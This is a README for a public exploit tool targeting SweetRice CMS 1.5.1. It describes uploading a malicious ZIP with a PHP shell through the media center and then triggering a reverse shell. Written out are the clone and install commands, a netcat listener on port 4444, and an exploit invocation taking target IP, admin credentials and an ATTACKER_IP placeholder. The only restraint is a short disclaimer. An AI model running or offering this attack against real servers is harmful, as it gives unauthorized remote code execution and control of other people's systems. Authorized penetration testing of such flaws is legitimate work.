README.md

SweetRice CMS 1.5.1 RCE Exploit

Overview

SweetRice CMS 1.5.1 authenticated file upload vulnerability leading to remote code execution. Requirements bash

Workflow

• Authenticate to CMS admin panel
• Upload malicious ZIP via media center
• CMS auto-extracts ZIP
• Find uploaded PHP shell
• Trigger reverse shell

Setup

git clone https://github.com/weekevy/SweetRice1.5.1-Authenticated-RCE-Exploit
cd SweetRice1.5.1-Authenticated-RCE-Exploit
pip3 install -r requirement.txt
python3 exploit.py

Usage

• Open reverse shell listener

nc -lvnp 4444

• Run Exploit

python3 exploit.py \
    --target-ip TARGET_IP \
    --username admin \
    --password admin123 \
    --attacker-ip ATTACKER_IP \
    --port 4444 \
    --zip shell.php

Disclaimer

This tool is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes ONLY. The author assumes NO LIABILITY for any misuse of this software.